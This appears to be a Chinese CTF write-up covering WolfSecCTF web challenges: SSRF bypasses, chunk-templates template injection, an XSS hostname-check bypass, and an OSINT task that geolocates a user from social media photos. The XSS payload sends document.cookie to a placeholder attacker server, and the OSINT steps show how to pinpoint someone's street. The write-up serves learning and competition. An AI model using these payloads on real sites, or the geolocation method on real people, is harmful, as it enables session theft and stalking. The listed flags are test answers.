WolfSecCTF 几道有趣的题目
字数 1561 2025-08-27 12:33:31

WolfSecCTF Web题目解析与技巧总结

目录

  1. Warmup: Burp
  2. SSRF 101
  3. SSRF 301
  4. Java???
  5. XSS 401
  6. OSINT-Where in the world

Warmup: Burp

题目要点

  • 纯Burp Suite操作题目
  • 通过观察响应包中的重定向提示

解题步骤

  1. 初始请求会返回重定向到/flag?count=1
  2. 访问/flag?count=1后会提示重定向到/?count=7
  3. 访问/?count=7即可获得flag

Flag: wsc{c00k1e5_yum!}

SSRF 101

题目要点

  • 存在SSRF漏洞,path参数可控
  • 两种主要解法

解法一

  1. 通过public.js发现路由标识
  2. 直接访问/ssrf?path=1/flag
  3. 利用端口号自动+1的特性访问private2.js

解法二

  1. 分析代码拼接方式:http://localhost:${private1Port}${path}
  2. 使用@符号绕过,@前的内容会被当作用户名
  3. 构造payload:@localhost:10011/flag

关键代码

const url = `http://localhost:${private1Port}${path}`;
const parsedUrl = new URL(url);

Flag: 通过上述任意一种方法获取

SSRF 301

题目要点

  • 对SSRF进行了基础防护(第一个字符不能为数字)
  • 需要绕过限制

解法一

  • 使用%0D%0A换行注入1/flag

解法二

  • 仍然可以使用SSRF 101中的@方法

Payload:

https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=%0d%0a1/flag

Flag: wsc{url_synt4x_f0r_th3_w1n_hq32pl}

Java???

题目要点

  • 使用chunk-templates模板引擎
  • {$flag}形式的数据可控,可能存在SSTI
  • $符号被preventRecursiveTags函数过滤

解法一

  1. 通过调试发现可以使用~代替$
  2. 构造payload:{~flag}

解法二

  1. 使用URL编码绕过过滤
  2. 构造payload:
https://wsc-2022-web-3-bvel4oasra-uc.a.run.app/submit?name=%7B.%7B%2524flag%257d%7Curldecode()%7D

解法三

  1. 使用正则匹配进行盲注
  2. 通过if语法匹配flag字符

关键点

  • chunk-templates支持多种语法和过滤器
  • 可以使用~代替$
  • 支持URL编码解码操作

XSS 401

题目要点

  • 需要绕过hostname检查实现XSS
  • hostname有RFC标准限制:
    • 不能有空格
    • 大小写会被统一转换
    • 特殊字符会破坏hostname

解法

  1. 使用Unicode字符代替空格(%0C
  2. 利用location.hash.slice(1)获取#后的内容
  3. 使用eval执行#后的代码

Payload:

https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://your-vps/?cookie='+document.cookie

关键代码

if (parsedURL.hostname !== req.hostname) {
    res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`);
    return;
}

OSINT-Where in the world

题目要点

  • 通过社交媒体信息定位用户位置
  • 用户名为Vividpineconepig
  • 线索:住在铁轨上方的街道

解题步骤

  1. 使用Sherlock等工具查找用户社交媒体
  2. 在Instagram找到相关图片
  3. 分析图片中的高速公路标志(蒙大拿州特有)
  4. 注意到"Mile 280"标记
  5. 在Google地图缩小范围到Shelby, MT
  6. 根据高架桥和铁轨推测街道名为Oilfield

Flag: wsc{OILFIELD}

总结技巧

  1. SSRF绕过

    • 使用@符号绕过端口限制
    • 使用换行符绕过字符限制
  2. 模板注入

    • 尝试替代符号(~代替$
    • 使用URL编码绕过过滤
    • 利用模板引擎的特性进行盲注
  3. XSS绕过

    • 利用hostname解析特性
    • 使用Unicode字符代替空格
    • 利用location.hasheval组合执行代码
  4. OSINT

    • 结合社交媒体和地理线索
    • 注意图片中的细节(路标、里程标记)
    • 了解各地区的独特标识
WolfSecCTF Web题目解析与技巧总结 目录 Warmup: Burp SSRF 101 SSRF 301 Java??? XSS 401 OSINT-Where in the world Warmup: Burp 题目要点 : 纯Burp Suite操作题目 通过观察响应包中的重定向提示 解题步骤 : 初始请求会返回重定向到 /flag?count=1 访问 /flag?count=1 后会提示重定向到 /?count=7 访问 /?count=7 即可获得flag Flag : wsc{c00k1e5_yum!} SSRF 101 题目要点 : 存在SSRF漏洞, path 参数可控 两种主要解法 解法一 : 通过 public.js 发现路由标识 直接访问 /ssrf?path=1/flag 利用端口号自动+1的特性访问 private2.js 解法二 : 分析代码拼接方式: http://localhost:${private1Port}${path} 使用 @ 符号绕过, @ 前的内容会被当作用户名 构造payload: @localhost:10011/flag 关键代码 : Flag : 通过上述任意一种方法获取 SSRF 301 题目要点 : 对SSRF进行了基础防护(第一个字符不能为数字) 需要绕过限制 解法一 : 使用 %0D%0A 换行注入 1/flag 解法二 : 仍然可以使用SSRF 101中的 @ 方法 Payload : Flag : wsc{url_synt4x_f0r_th3_w1n_hq32pl} Java??? 题目要点 : 使用chunk-templates模板引擎 {$flag} 形式的数据可控,可能存在SSTI $ 符号被 preventRecursiveTags 函数过滤 解法一 : 通过调试发现可以使用 ~ 代替 $ 构造payload: {~flag} 解法二 : 使用URL编码绕过过滤 构造payload: 解法三 : 使用正则匹配进行盲注 通过if语法匹配flag字符 关键点 : chunk-templates支持多种语法和过滤器 可以使用 ~ 代替 $ 支持URL编码解码操作 XSS 401 题目要点 : 需要绕过hostname检查实现XSS hostname有RFC标准限制: 不能有空格 大小写会被统一转换 特殊字符会破坏hostname 解法 : 使用Unicode字符代替空格( %0C ) 利用 location.hash.slice(1) 获取#后的内容 使用 eval 执行#后的代码 Payload : 关键代码 : OSINT-Where in the world 题目要点 : 通过社交媒体信息定位用户位置 用户名为Vividpineconepig 线索:住在铁轨上方的街道 解题步骤 : 使用Sherlock等工具查找用户社交媒体 在Instagram找到相关图片 分析图片中的高速公路标志(蒙大拿州特有) 注意到"Mile 280"标记 在Google地图缩小范围到Shelby, MT 根据高架桥和铁轨推测街道名为Oilfield Flag : wsc{OILFIELD} 总结技巧 SSRF绕过 : 使用 @ 符号绕过端口限制 使用换行符绕过字符限制 模板注入 : 尝试替代符号( ~ 代替 $ ) 使用URL编码绕过过滤 利用模板引擎的特性进行盲注 XSS绕过 : 利用hostname解析特性 使用Unicode字符代替空格 利用 location.hash 和 eval 组合执行代码 OSINT : 结合社交媒体和地理线索 注意图片中的细节(路标、里程标记) 了解各地区的独特标识